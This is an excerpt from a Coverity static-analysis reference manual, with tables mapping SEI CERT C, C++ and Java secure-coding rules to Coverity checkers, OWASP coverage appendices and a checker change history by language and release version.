To run an SEI CERT analysis, you must pass the `--coding-standard-config` [option](#) to **cov-analyze**. See *Coverity Analysis User and Administration Guide* [\("Running Coding Standard Analysis"\)](#) for further guidance.

## F.2. SEI CERT C Rules

Table F.1. SEI CERT C Rules

Name	Description	Coverity Checker	Version
ARR30-C	Do not form or use out of bounds pointers or array subscripts.	CERT ARR30-C	
ARR32-C	Ensure size arguments for variable length arrays are in a valid range.	CERT ARR32-C	
ARR36-C	Do not subtract or compare two pointers that do not refer to the same array.	CERT ARR36-C	
ARR37-C	Do not add or subtract an integer to a pointer to a non-array object.	CERT ARR37-C	
ARR38-C	Guarantee that library functions do not form invalid pointers.	CERT ARR38-C	
ARR39-C	Do not add or subtract a scaled integer to a pointer.	CERT ARR39-C	
CON30-C	Clean up thread-specific storage.	CERT CON30-C	

SEI CERT Rules

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>	<b>Version</b>
CON31-C	Do not destroy a mutex while it is locked.	CERT CON31-C	
CON32-C	Prevent data races when accessing bit-fields from multiple threads.	CERT CON32-C	
CON33-C	Avoid race conditions when using library functions.	CERT CON33-C	
CON34-C	Declare objects shared between threads with appropriate storage durations.	CERT CON34-C	
CON35-C	Avoid deadlock by locking in predefined order.	CERT CON35-C	
CON36-C	Wrap functions that can spuriously wake up in a loop.	CERT CON36-C	
CON37-C	Do not call signal() in a multithreaded program.	CERT CON37-C	
CON38-C	Preserve thread safety and liveness when using condition variables.	CERT CON38-C	
CON39-C	Do not join or detach a thread that was previously joined or detached.	CERT CON39-C	
CON40-C	Do not refer to an atomic variable twice in an expression.	CERT CON40-C	
CON41-C	Wrap functions that can fail spuriously in a loop.	CERT CON41-C	
DCL30-C	Declare objects with appropriate storage durations.	CERT DCL30-C	
DCL31-C	Declare identifiers before using them.	CERT DCL31-C	
DCL36-C	Do not declare an identifier with conflicting linkage classifications.	CERT DCL36-C	

SEI CERT Rules

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>	<b>Version</b>
DCL37-C	Do not declare or define a reserved identifier.	CERT DCL37-C	
DCL38-C	Use the correct syntax when declaring a flexible array member.	CERT DCL38-C	
DCL39-C	Avoid information leakage when passing a structure across a trust boundary.	CERT DCL39-C	
DCL40-C	Do not create incompatible declarations of the same function or object.	CERT DCL40-C	
DCL41-C	Do not declare variables inside a switch statement before the first case label.	CERT DCL41-C	
ENV30-C	Do not modify the object referenced by the return value of certain functions.	CERT ENV30-C	
ENV31-C	Do not rely on an environment pointer following an operation that may invalidate it.	CERT ENV31-C	
ENV32-C	All exit handlers must return normally.	CERT ENV32-C	
ENV33-C	Do not call system().	CERT ENV33-C	
ENV34-C	Do not store pointers returned by certain functions.	CERT ENV34-C	
ERR30-C	Set errno to zero before calling a library function known to set errno, and check errno only after the function returns a value indicating failure.	CERT ERR30-C	
ERR32-C	Do not rely on indeterminate values of errno.	CERT ERR32-C	

SEI CERT Rules

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>	<b>Version</b>
ERR33-C	Detect and handle standard library errors.	CERT ERR33-C	
ERR34-C	Detect errors when converting a string to a number.	CERT ERR34-C	v.136
EXP30-C	Do not depend on order of evaluation for side effects.	CERT EXP30-C	
EXP32-C	Do not access a volatile object through a nonvolatile reference.	CERT EXP32-C	
EXP33-C	Do not read uninitialized memory.	CERT EXP33-C	
EXP34-C	Do not dereference null pointers.	CERT EXP34-C	
EXP35-C	Do not modify objects with temporary lifetime.	CERT EXP35-C	
EXP36-C	Do not cast pointers into more strictly aligned pointer types.	CERT EXP36-C	
EXP37-C	Call functions with the correct number and type of arguments.	CERT EXP37-C	
EXP39-C	Do not access a variable through a pointer of an incompatible type.	CERT EXP39-C	
EXP40-C	Do not modify constant objects.	CERT EXP40-C	
EXP42-C	Do not compare padding data.	CERT EXP42-C	
EXP43-C	Avoid undefined behavior when using restrict-qualified pointers.	CERT EXP43-C	
EXP44-C	Do not rely on side effects in operands to sizeof, _Alignof, or _Generic.	CERT EXP44-C	
EXP45-C	Do not perform assignments in selection statements.	CERT EXP45-C	

SEI CERT Rules

Name	Description	Coverity Checker	Version
EXP46-C	Do not use a bitwise operator with a Boolean-like operand.	CERT EXP46-C	
EXP47-C	Do not call <code>va_arg</code> with an argument of the incorrect type.	CERT EXP47-C	v.19
FIO30-C	Exclude user input from format strings.	CERT FIO30-C	
FIO32-C	Do not perform operations on devices that are only appropriate for files.	CERT FIO32-C	
FIO34-C	Distinguish between characters read from a file and EOF or WEOF.	CERT FIO34-C	
FIO37-C	Do not assume that <code>fgets()</code> or <code>fgetws()</code> returns a nonempty string when successful.	CERT FIO37-C	
FIO38-C	Do not copy a FILE object.	CERT FIO38-C	
FIO39-C	Do not alternately input and output from a stream without an intervening flush or positioning call.	CERT FIO39-C	
FIO40-C	Reset strings on <code>fgets()</code> or <code>fgetws()</code> failure.	CERT FIO40-C	
FIO41-C	Do not call <code>getc()</code> , <code>putc()</code> , <code>getwc()</code> , or <code>putwc()</code> with a stream argument that has side effects.	CERT FIO41-C	
FIO42-C	Close files when they are no longer needed.	CERT FIO42-C	
FIO44-C	Only use values for <code>fsetpos()</code> that are returned from <code>fgetpos()</code> .	CERT FIO44-C	
FIO45-C	Avoid TOCTOU race conditions while accessing files.	CERT FIO45-C	
FIO46-C	Do not access a closed file.	CERT FIO46-C	

SEI CERT Rules

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>	<b>Version</b>
FIO47-C	Use valid format strings.	CERT FIO47-C	
FLP30-C	Do not use floating-point variables as loop counters.	CERT FLP30-C	
FLP32-C	Prevent or detect domain and range errors in math functions.	CERT FLP32-C	
FLP34-C	Ensure that floating-point conversions are within range of the new type.	CERT FLP34-C	
FLP36-C	Preserve precision when converting integral values to floating-point type.	CERT FLP36-C	
FLP37-C	Do not use object representations to compare floating-point values.	CERT FLP37-C	
INT30-C	Ensure that unsigned integer operations do not wrap.	CERT INT30-C	
INT31-C	Ensure that integer conversions do not result in lost or misinterpreted data.	CERT INT31-C	
INT32-C	Ensure that operations on signed integers do not result in overflow.	CERT INT32-C	
INT33-C	Ensure that division and remainder operations do not result in divide-by-zero errors.	CERT INT33-C	
INT34-C	Do not shift an expression by a negative number of bits or by greater than or equal to the number of bits that exist in the operand.	CERT INT34-C	
INT35-C	Use correct integer precisions.	CERT INT35-C	

SEI CERT Rules

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>	<b>Version</b>
INT36-C	Converting a pointer to integer or integer to pointer.	CERT INT36-C	
MEM30-C	Do not access freed memory.	CERT MEM30-C	
MEM31-C	Free dynamically allocated memory when no longer needed.	CERT MEM31-C	
MEM33-C	Allocate and copy structures containing a flexible array member dynamically.	CERT MEM33-C	
MEM34-C	Only free memory allocated dynamically.	CERT MEM34-C	
MEM35-C	Allocate sufficient memory for an object.	CERT MEM35-C	
MEM36-C	Do not modify the alignment of objects by calling realloc().	CERT MEM36-C	
MSC30-C	Do not use the rand() function for generating pseudorandom numbers.	CERT MSC30-C	
MSC32-C	Properly seed pseudorandom number generators.	CERT MSC32-C	
MSC33-C	Do not pass invalid data to the asctime() function.	CERT MSC33-C	
MSC37-C	Ensure that control never reaches the end of a non-void function.	CERT MSC37-C	
MSC38-C	Do not treat a predefined identifier as an object if it might only be implemented as a macro.	CERT MSC38-C	
MSC39-C	Do not call va_arg() on a va_list that has an indeterminate value.	CERT MSC39-C	
MSC40-C	Do not violate constraints.	CERT MSC40-C	

SEI CERT Rules

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>	<b>Version</b>
POS30-C	Use the readlink() function properly.	CERT POS30-C	v.79
POS33-C	Do not use vfork().	CERT POS33-C	v.101
POS34-C	Do not call putenv() with a pointer to an automatic variable as the argument.	CERT POS34-C	v.126
POS35-C	Avoid race conditions while checking for the existence of a symbolic link.	CERT POS35-C	v.86
POS36-C	Observe correct revocation order while relinquishing privileges.	CERT POS36-C	v.67
POS37-C	Ensure that privilege relinquishment is successful.	CERT POS37-C	v.79
POS38-C	Beware of race conditions when using fork and file descriptors.	CERT POS38-C	v.35
POS39-C	Use the correct byte ordering when transferring data between systems.	CERT POS39-C	v.51
POS44-C	Do not use signals to terminate threads.	CERT POS44-C	v.23
POS47-C	Do not use threads that can be canceled asynchronously.	CERT POS47-C	v.58
POS49-C	When data must be accessed by multiple threads, provide a mutex and guarantee no adjacent data is also accessed.	CERT POS49-C	v.24
POS50-C	Declare objects shared between POSIX threads with appropriate storage durations.	CERT POS50-C	v.17
POS52-C	Do not perform operations that can block	CERT POS52-C	v.23

SEI CERT Rules

Name	Description	Coverity Checker	Version
	while holding a POSIX lock.		
POS54-C	Detect and handle POSIX library errors.	CERT POS54-C	v.32
PRE30-C	Do not create a universal character name through concatenation.	CERT PRE30-C	
PRE31-C	Avoid side effects in arguments to unsafe macros.	CERT PRE31-C	
PRE32-C	Do not use preprocessor directives in invocations of function-like macros.	CERT PRE32-C	
SIG30-C	Call only asynchronous-safe functions within signal handlers.	CERT SIG30-C	
SIG31-C	Do not access shared objects in signal handlers.	CERT SIG31-C	
SIG34-C	Do not call signal() from within interruptible signal handlers.	CERT SIG34-C	
SIG35-C	Do not return from a computational exception signal handler.	CERT SIG35-C	
STR30-C	Do not attempt to modify string literals.	CERT STR30-C	
STR31-C	Guarantee that storage for strings has sufficient space for character data and the null terminator.	CERT STR31-C	
STR32-C	Do not pass a non-null-terminated character sequence to a library function that expects a string.	CERT STR32-C	
STR34-C	Cast characters to unsigned char before converting to larger integer sizes.	CERT STR34-C	

Name	Description	Coverity Checker	Version
STR37-C	Arguments to character-handling functions must be representable as an unsigned char.	CERT STR37-C	
STR38-C	Do not confuse narrow and wide character strings and functions.	CERT STR38-C	

### F.3. SEI CERT C++ Rules

Table F.2. SEI CERT C++ Rules

Name	Description	Coverity Checker	Version
CON50-CPP	Do not destroy a mutex while it is locked.	CERT CON50-CPP	
CON51-CPP	Ensure actively held locks are released on exceptional conditions.	CERT CON51-CPP	
CON52-CPP	Prevent data races when accessing fields from multiple threads.	CERT CON52-CPP	
CON53-CPP	Avoid deadlocks by locking in a predefined order.	CERT CON53-CPP	
CON54-CPP	Wrap functions that can spuriously wake up in a loop.	CERT CON54-CPP	
CON55-CPP	Preserve thread safety and liveness when using condition variables.	CERT CON55-CPP	
CON56-CPP	Do not speculatively lock a non-recursive mutex that is already owned by the calling thread.	CERT CON56-CPP	
CTR50-CPP	Guarantee that container indices and iterators are within the valid range.	CERT CTR50-CPP	
CTR51-CPP	Use valid references, pointers, and iterators to reference elements of a container.	CERT CTR51-CPP	

## SEI CERT Rules

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>	<b>Version</b>
CTR52-CPP	Guarantee that library functions do not overflow.	CERT CTR52-CPP	
CTR53-CPP	Use valid iterator ranges.	CERT CTR53-CPP	
CTR54-CPP	Do not subtract iterators that do not refer to the same container.	CERT CTR54-CPP	
CTR55-CPP	Do not use an additive operator on an iterator if the result would overflow.	CERT CTR55-CPP	
CTR56-CPP	Do not use pointer arithmetic on polymorphic objects.	CERT CTR56-CPP	
CTR57-CPP	Provide a valid ordering predicate.	CERT CTR57-CPP	
CTR58-CPP	Predicate function objects should not be mutable.	CERT CTR58-CPP	
DCL50-CPP	Do not define a C-style variadic function.	CERT DCL50-CPP	
DCL51-CPP	Do not declare or define a reserved identifier.	CERT DCL51-CPP	
DCL52-CPP	Never qualify a reference type with const or volatile.	CERT DCL52-CPP	
DCL53-CPP	Do not write syntactically ambiguous declarations.	CERT DCL53-CPP	
DCL54-CPP	Overload allocation and deallocation functions as a pair in the same scope.	CERT DCL54-CPP	
DCL55-CPP	Avoid information leakage when passing a class object across a trust boundary.	CERT DCL55-CPP	
DCL56-CPP	Avoid cycles during initialization of static objects.	CERT DCL56-CPP	
DCL57-CPP	Do not let exceptions escape from destructors or deallocation functions.	CERT DCL57-CPP	

SEI CERT Rules

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>	<b>Version</b>
DCL58-CPP	Do not modify the standard namespaces.	CERT DCL58-CPP	
DCL59-CPP	Do not define an unnamed namespace in a header file.	CERT DCL59-CPP	
DCL60-CPP	Obey the one-definition rule.	CERT DCL60-CPP	
ERR50-CPP	Do not abruptly terminate the program.	CERT ERR50-CPP	
ERR51-CPP	Handle all exceptions.	CERT ERR51-CPP	
ERR52-CPP	Do not use setjmp() or longjmp().	CERT ERR52-CPP	
ERR53-CPP	Do not reference base classes or class data members in a constructor or destructor function-try-block handler.	CERT ERR53-CPP	
ERR54-CPP	Catch handlers should order their parameter types from most derived to least derived.	CERT ERR54-CPP	
ERR55-CPP	Honor exception specifications.	CERT ERR55-CPP	
ERR56-CPP	Guarantee exception safety.	CERT ERR56-CPP	
ERR57-CPP	Do not leak resources when handling exceptions.	CERT ERR57-CPP	
ERR58-CPP	Handle all exceptions thrown before main() begins executing.	CERT ERR58-CPP	
ERR59-CPP	Do not throw an exception across execution boundaries.	CERT ERR59-CPP	
ERR60-CPP	Exception objects must be nothrow copy constructible.	CERT ERR60-CPP	
ERR61-CPP	Catch exceptions by lvalue reference.	CERT ERR61-CPP	

## SEI CERT Rules

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>	<b>Version</b>
ERR62-CPP	Detect errors when converting a string to a number.	CERT ERR62-CPP	
EXP50-CPP	Do not depend on the order of evaluation for side effects.	CERT EXP50-CPP	
EXP51-CPP	Do not delete an array through a pointer of the incorrect type.	CERT EXP51-CPP	
EXP52-CPP	Do not rely on side effects in unevaluated operands.	CERT EXP52-CPP	
EXP53-CPP	Do not read uninitialized memory.	CERT EXP53-CPP	
EXP54-CPP	Do not access an object outside of its lifetime.	CERT EXP54-CPP	
EXP55-CPP	Do not access a cv-qualified object through a cv-unqualified type.	CERT EXP55-CPP	
EXP56-CPP	Do not call a function with a mismatched language linkage.	CERT EXP56-CPP	
EXP57-CPP	Do not cast or delete pointers to incomplete classes.	CERT EXP57-CPP	
EXP58-CPP	Pass an object of the correct type to va_start.	CERT EXP58-CPP	
EXP59-CPP	Use offsetof() on valid types and members.	CERT EXP59-CPP	
EXP60-CPP	Do not pass a nonstandard-layout type object across execution boundaries.	CERT EXP60-CPP	
EXP61-CPP	A lambda object must not outlive any of its reference captured objects.	CERT EXP61-CPP	
EXP62-CPP	Do not access the bits of an object representation that are not part of	CERT EXP62-CPP	

## SEI CERT Rules

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>	<b>Version</b>
	the object's value representation.		
EXP63-CPP	Do not rely on the value of a moved-from object.	CERT EXP63-CPP	
FIO50-CPP	Do not alternately input and output from a file stream without an intervening positioning call.	CERT FIO50-CPP	
FIO51-CPP	Close files when they are no longer needed.	CERT FIO51-CPP	
INT50-CPP	Do not cast to an out-of-range enumeration value.	CERT INT50-CPP	
MEM50-CPP	Do not access freed memory.	CERT MEM50-CPP	
MEM51-CPP	Properly deallocate dynamically allocated resources.	CERT MEM51-CPP	
MEM52-CPP	Detect and handle memory allocation errors.	CERT MEM52-CPP	
MEM53-CPP	Explicitly construct and destruct objects when manually managing object lifetime.	CERT MEM53-CPP	
MEM54-CPP	Provide placement new with properly aligned pointers to sufficient storage capacity.	CERT MEM54-CPP	
MEM55-CPP	Honor replacement dynamic storage management requirements.	CERT MEM55-CPP	
MEM56-CPP	Do not store an already-owned pointer value in an unrelated smart pointer.	CERT MEM56-CPP	
MEM57-CPP	Avoid using default operator new for over-aligned types.	CERT MEM57-CPP	

SEI CERT Rules

Name	Description	Coverity Checker	Version
MSC50-CPP	Do not use <code>std::rand()</code> for generating pseudorandom numbers.	CERT MSC50-CPP	
MSC51-CPP	Ensure your random number generator is properly seeded.	CERT MSC51-CPP	
MSC52-CPP	Value-returning functions must return a value from all exit paths.	CERT MSC52-CPP	
MSC53-CPP	Do not return from a function declared <code>[[noreturn]]</code> .	CERT MSC53-CPP	
MSC54-CPP	A signal handler must be a plain old function.	CERT MSC54-CPP	
OOP50-CPP	Do not invoke virtual functions from constructors or destructors.	CERT OOP50-CPP	
OOP51-CPP	Do not slice derived objects.	CERT OOP51-CPP	
OOP52-CPP	Do not delete a polymorphic object without a virtual destructor.	CERT OOP52-CPP	
OOP53-CPP	Write constructor member initializers in the canonical order.	CERT OOP53-CPP	
OOP54-CPP	Gracefully handle self-copy assignment.	CERT OOP54-CPP	
OOP55-CPP	Do not use pointer-to-member operators to access nonexistent members.	CERT OOP55-CPP	
OOP56-CPP	Honor replacement handler requirements.	CERT OOP56-CPP	
OOP57-CPP	Prefer special member functions and overloaded operators to C Standard Library functions.	CERT OOP57-CPP	

Name	Description	Coverity Checker	Version
OOP58-CPP	Copy operations must not mutate the source object.	CERT OOP58-CPP	
STR50-CPP	Guarantee that storage for strings has sufficient space for character data and the null terminator.	CERT STR50-CPP	
STR51-CPP	Do not attempt to create a std::string from a null pointer.	CERT STR51-CPP	
STR52-CPP	Use valid references, pointers, and iterators to reference elements of a basic_string.	CERT STR52-CPP	
STR53-CPP	Range check element access.	CERT STR53-CPP	

#### F.4. SEI CERT Java Coding Standard

In the following table, the Version column indicates the version of the rule that is supported and provides a link to the versioned documentation for that rule.

**Table F.3. SEI CERT Java Rules**

Name	Description	Coverity Checker	Version
ENV02-J	Do not trust the values of environment variables.	CERT ENV02-J	v.34
ENV03-J	Do not grant dangerous combinations of permissions.	CERT ENV03-J	v.110
ENV06-J	Production code must not contain debugging entry points.	CERT ENV06-J	v.11
ERR08-J	Do not catch NullPointerException or any of its ancestors.	CERT ERR08-J	v.154
FIO05-J	Do not expose buffers created using the wrap() or duplicate() methods to untrusted code.	CERT FIO05-J	v.78
FIO08-J	Distinguish between characters or bytes read from a stream and -1.	CERT FIO08-J	v.120

SEI CERT Rules

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>	<b>Version</b>
FIO14-J	Perform proper cleanup at program termination.	CERT FIO14-J	v.74
IDS00-J	Prevent SQL injection.	CERT IDS00-J	v.200
IDS01-J	Normalize strings before validating them.	CERT IDS01-J	v.123
IDS07-J	Sanitize untrusted data passed to the Runtime.exec() method.	CERT IDS07-J	v.163
IDS11-J	Perform any string modifications before validation.	CERT IDS11-J	v.119
IDS16-J	Prevent XML Injection.	CERT IDS16-J	v.20
IDS17-J	Prevent XML External Entity Attacks.	CERT IDS17-J	v.21
JNI01-J	Safely invoke standard APIs that perform tasks using the immediate caller's class loader instance (loadLibrary).	CERT JNI01-J	v.32
MET01-J	Never use assertions to validate method arguments.	CERT MET01-J	v.36
MET06-J	Do not invoke overridable methods in clone().	CERT MET06-J	v.68
MSC02-J	Generate strong random numbers.	CERT MSC02-J	v.128
MSC03-J	Never hard code sensitive information.	CERT MSC03-J	v.114
OBJ01-J	Limit accessibility of fields.	CERT OBJ01-J	v.141
OBJ05-J	Do not return references to private mutable class members.	CERT OBJ05-J	v.133
OBJ11-J	Be wary of letting constructors throw exceptions.	CERT OBJ11-J	v.179
OBJ13-J	Ensure that references to mutable objects are not exposed.	CERT OBJ13-J	v.41

SEI CERT Rules

---

<b>Name</b>	<b>Description</b>	<b>Coverity Checker</b>	<b>Version</b>
SEC01-J	Do not allow tainted variables in privileged blocks.	CERT SEC01-J	v.88
SEC02-J	Do not base security checks on untrusted sources.	CERT SEC02-J	v.84
SEC03-J	Do not load trusted classes after allowing untrusted code to load arbitrary classes.	CERT SEC03-J	v.142
SEC04-J	Protect sensitive operations with security manager checks.	CERT SEC04-J	v.83
SEC05-J	Do not use reflection to increase accessibility of classes, methods, or fields.	CERT SEC05-J	v.162
SEC06-J	Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar.	CERT SEC06-J	v.36
SEC07-J	Call the superclass's getPermissions() method when writing a custom class loader.	CERT SEC07-J	v.84
SER01-J	Do not deviate from the proper signatures of serialization methods.	CERT SER01-J	v.64
SER05-J	Do not serialize instances of inner classes.	CERT SER05-J	v.73
SER08-J	Minimize privileges before deserializing from a privileged context.	CERT SER08-J	v.110

---

# Appendix G. OWASP Web Top 10 Coverage

## Table of Contents

G.1. OWASP Web Top 10 Coverage .....	1182
--------------------------------------	------

## G.1. OWASP Web Top 10 Coverage

The HTML version of this document ( [cov\\_checker\\_ref.html](#) ) provides tables that identify Coverity web application security checker coverage for the 2017 OWASP Top 10.

If you encounter an issue with the link above, try using another viewer, such as Adobe Acrobat Reader.

---

# Appendix H. OWASP Top 10 Mobile Coverage

## Table of Contents

H.1. OWASP Top 10 Mobile Coverage .....	1183
-----------------------------------------	------

## H.1. OWASP Top 10 Mobile Coverage

The HTML version of this document ( [cov\\_checker\\_ref.html](#) ) provides tables that identify Coverity mobile application security checker coverage for the 2016 OWASP Mobile Top 10 on Android and iOS.

If you encounter an issue with the link above, try using another viewer, such as Adobe Acrobat Reader.

---

# Appendix I. Checker Change History

## Table of Contents

I.1. Coverity Checker Change History ..... 1184

The Checker Change History table identifies the release versions in which Coverity checkers were introduced or changed. The table contains change history for all currently supported Coverity versions as of the current release. If a checker has not changed during that span, it will not appear in this table.

- The *New* column lists the version in which the associated checker was first introduced.
- The *Changed* column lists the versions in which a change was made to the associated checker and language pair.

## I.1. Coverity Checker Change History

**Table I.1. Coverity Checker Change History**

Checker Name	Language	New	Changed
ALLOC_FREE_MISMATCH	C		2020.06
	C++		2020.06
	CUDA		2020.06
	Objective-C		2020.06
	Objective-C++		2020.06
ANDROID_CAPABILITY_LEAK	Java		2020.09
	Kotlin		2020.06 2020.09
ANDROID_DEBUG_MODE	Kotlin		2020.03
ANDROID_WEBVIEW_FILEACCESS	Java	2020.06	
ANGULAR_EXPRESSION_INJECTION	TypeScript		2019.12
ANGULAR_SCE_DISABLED	JavaScript	2020.03	
	TypeScript	2020.03	
ARRAY_VS_SINGLETON	CUDA		2020.06
ASSERT_SIDE_EFFECT	CUDA		2020.06
ASSIGN_NOT_RETURNING_STAR_THIS	CUDA		2020.06
ATOMICITY	CUDA		2020.06
	Go		2020.03
AUDIT.SPECULATIVE_EXECUTION_DATA_LEAK	CUDA		2020.06
AWS_SSL_DISABLED	JavaScript	2020.03	

Checker Change History

Checker Name	Language	New	Changed
	TypeScript	2020.03	
AWS_VALIDATION_DISABLED	JavaScript	2020.03	
	TypeScript	2020.03	
BAD_ALLOC_ARITHMETIC	CUDA		2020.06
BAD_ALLOC_STRLEN	CUDA		2020.06
BAD_CERT_VERIFICATION	JavaScript		2020.03
	Kotlin		2020.03
	TypeScript		2020.03
BAD_COMPARE	CUDA		2020.06
BAD_FREE	CUDA		2020.06
BAD_OVERRIDE	CUDA		2020.06
BAD_SHIFT	CUDA		2020.06
BAD_SIZEOF	CUDA		2020.06
BUFFER_SIZE	CUDA		2020.06
BUSBOY_MISCONFIGURATION	JavaScript	2019.09	
	TypeScript	2019.09	
CALL_SUPER	C#		2020.12
	Java		2020.12
	Visual Basic		2020.12
CHAR_IO	CUDA		2020.06
CHECKED_RETURN	CUDA		2020.06
	Go		2019.09
CHROOT	CUDA		2020.06
COM.ADDROF_LEAK	CUDA		2020.12
COM.BAD_FREE	CUDA		2020.12
	Objective-C++		2020.12
COM.BSTR.ALLOC	CUDA		2020.12
	Objective-C++		2020.12
COM.BSTR.BAD_COMPARE	CUDA		2020.12
	Objective-C++		2020.12
COM.BSTR.CONV	CUDA		2020.12

Checker Change History

Checker Name	Language	New	Changed
	Objective-C++		2020.12
COM.BSTR.NE_NON_BSTR	CUDA		2020.12
	Objective-C++		2020.12
CONFIG.ANDROID_BACKUPS_ALLOWED	Kotlin		2020.03
CONFIG.ANDROID_GRADLE_OBFUSCATION_NOT_ENABLED	Java	2020.12	
	Kotlin	2020.12	
CONFIG.ANDROID_OUTDATED_TARGETSDKVERSION	Kotlin		2020.03
CONFIG.ANDROID_UNSAFE_MINSDKVERSION	Kotlin		2020.03
CONFIG.COOKIE_SIGNING_DISABLED	JavaScript	2019.12	
	TypeScript	2019.12	
CONFIG.CORDOVA_EXCESSIVE_LOGGING	Java	2019.09	
	JavaScript		2020.03
	TypeScript		2020.03
CONFIG.CORDOVA_PERMISSIVE_WHITELIST	Java	2019.09	
	JavaScript		2020.03
	TypeScript		2020.03
CONFIG.CSURF_IGNORE_METHODS	JavaScript	2019.06	
	TypeScript	2019.06	
CONFIG.DJANGO_CSRF_PROTECTION_DISABLED	Python 3	2020.12	
CONFIG.ENABLED_DEBUG_MODE	JavaScript		2020.03
	Python 3		2020.12
	TypeScript		2020.03
CONFIG.HARDCODED_CREDENTIALS_AUDIT	C#		2020.12
	Java	2020.06	
	JavaScript	2020.06	
	TypeScript	2020.06	
CONFIG.HARDCODED_TOKEN	JavaScript	2020.03	
	TypeScript	2020.03	
CONFIG.JAVAAE_MISSING_SERVLET_MAPPING	Java	2020.09	
CONFIG.MISSING_GLOBAL_EXCEPTION_HANDLER	JavaScript		2020.03
	TypeScript		2020.03
CONFIG.MYBATIS_MAPPER_SQLI	Java	2019.06	

Checker Change History

Checker Name	Language	New	Changed
CONFIG.SPRING_BOOT_ADMIN_ACCESS_ENABLED	Java	2020.12	
CONFIG.SPRING_BOOT_SENSITIVE_LOGGING	Java	2020.06	
CONFIG.SPRING_BOOT_SSL_DISABLED	Java	2020.09	
CONFIG.SPRING_SECURITY_CSRF_PROTECTION_DISABLED	Java	2020.09	
CONFIG.SPRING_SECURITY_DEPRECATED_XSS_HEADER	Java	2020.09	
CONFIG.SPRING_SECURITY_EXPOSED_SESSIONID	Java	2020.06	
CONFIG.SPRING_SECURITY_LOGIN_OVER_HTTP	Java	2020.06	
CONFIG.SPRING_SECURITY_UNSAFE_AUTHENTICATION_FILTER	Java	2020.06	
CONFIG.SPRING_SECURITY_WEAK_PASSWORD_HASH	Java	2020.09	
CONFIG.UNSAFE_SESSION_TIMEOUT	JavaScript		2019.12
	TypeScript		2019.12
CONFIG.VUE_ROUTER_PARAMS_EXPOSED_TO_PROPS	JavaScript	2019.09	
	TypeScript	2019.09	
CONFIG.WEAK_SECURITY_CONSTRAINT	Java	2020.12	
CONSTANT_EXPRESSION_RESULT	CUDA		2020.06
	Go		2019.06
COOKIE_SERIALIZER_CONFIG	Ruby	2019.09	
COPY_PASTE_ERROR	CUDA		2020.06
	Go		2019.06
COPY_WITHOUT_ASSIGN	CUDA		2020.06
CORS_MISCONFIGURATION	Java	2019.12	
	JavaScript	2019.12	
	TypeScript	2019.12	
CORS_MISCONFIGURATION_AUDIT	Java	2019.12	
	JavaScript	2019.12	
	TypeScript	2019.12	
CSRF	Java		2020.12
	Python 3		2020.12
CSRF_MISCONFIGURATION_HAPI_CRUMB	JavaScript	2019.12	
	TypeScript	2019.12	
CTOR_DTOR_LEAK	CUDA		2020.06
CUDA.COLLECTIVE_WARP_SHUFFLE_WIDTH	CUDA	2020.06	
CUDA.CUDEVICE_HANDLES	CUDA	2020.06	

Checker Change History

Checker Name	Language	New	Changed
CUDA.DEVICE_DEPENDENT	CUDA	2020.06	
CUDA.DEVICE_DEPENDENT_CALLBACKS	CUDA	2020.06	
CUDA.DIVERGENCE_AT_COLLECTIVE_OPERATION	CUDA	2020.06	
CUDA.ERROR_INTERFACE	CUDA	2020.06	
CUDA.ERROR_KERNEL_LAUNCH	CUDA	2020.06	
CUDA.FORK	CUDA	2020.06	
CUDA.INACTIVE_THREAD_AT_COLLECTIVE_WARP	CUDA	2020.06	
CUDA.INITIATION_OBJECT_DEVICE_THREAD_BLOCK	CUDA	2020.06	
CUDA.INVALID_MEMORY_ACCESS	CUDA	2020.09	
CUDA.SHARE_FUNCTION	CUDA	2020.09	
CUDA.SHARE_OBJECT_STREAM_ASSOCIATED	CUDA	2020.09	
CUDA.SPECIFIERS_INCONSISTENCY	C	2020.09	
	C++	2020.09	
	CUDA	2020.09	
CUDA.SYNCHRONIZE_TERMINATION	CUDA	2020.06	
DC.PREDICTABLE_KEY_PASSWORD	CUDA		2020.06
DC.STREAM_BUFFER	CUDA		2020.06
DC.STRING_BUFFER	CUDA		2020.06
DC.WEAK_CRYPTO	CUDA		2020.06
DEADCODE	CUDA		2020.06
	Go		2019.12
DELETE_ARRAY	CUDA		2020.06
DELETE_VOID	CUDA		2020.06
DENY_LIST_FOR_AUTHN	Ruby	2020.12	
DISABLED_ENCRYPTION	Java	2020.06	
DISTRUSTED_DATA_DESERIALIZATION	Go	2019.12	
DIVIDE_BY_ZERO	CUDA		2020.06
	Go		2019.06
	Visual Basic		2019.12
DNS_PREFETCHING	JavaScript	2020.03	
	TypeScript	2020.03	
ENUM_AS_BOOLEAN	CUDA		2020.06
EVALUATION_ORDER	CUDA		2020.06

Checker Change History

Checker Name	Language	New	Changed
EXPLICIT_THIS_EXPECTED	TypeScript		2019.06
EXPOSED_DIRECTORY_LISTING_HAPI_INERT	JavaScript	2019.09	
	TypeScript	2019.09	
EXPOSED_PREFERENCES	Kotlin		2020.06
EXPRESS_SESSION_UNSAFE_MEMORYSTORE	JavaScript	2019.12	
	TypeScript	2019.12	
EXPRESS_WINSTON_SENSITIVE_LOGGING	JavaScript	2019.12	
	TypeScript	2019.12	
EXPRESS_X_POWERED_BY_ENABLED	JavaScript	2019.09	
	TypeScript	2019.09	
FILE_UPLOAD_MISCONFIGURATION	JavaScript	2020.03	
	TypeScript	2020.03	
FLOATING_POINT_EQUALITY	CUDA		2020.06
FORMAT_STRING_INJECTION	C	2019.09	2019.12 2020.03
	C++	2019.09	2019.12 2020.03
	CUDA		2020.06
	Objective-C	2019.09	2019.12 2020.03
	Objective-C++	2019.09	2019.12 2020.03
FORWARD_NULL	CUDA		2020.06
	Go		2019.06
	TypeScript		2019.06
GUARDED_BY_VIOLATION	Go		2020.03
HAPI_SESSION_MONGO_MISSING_TLS	JavaScript	2019.09	
	TypeScript	2019.09	
HARDCODED_CREDENTIALS	CUDA		2020.06
	Go		2019.12
	Kotlin		2020.03
	Python 3		2020.12
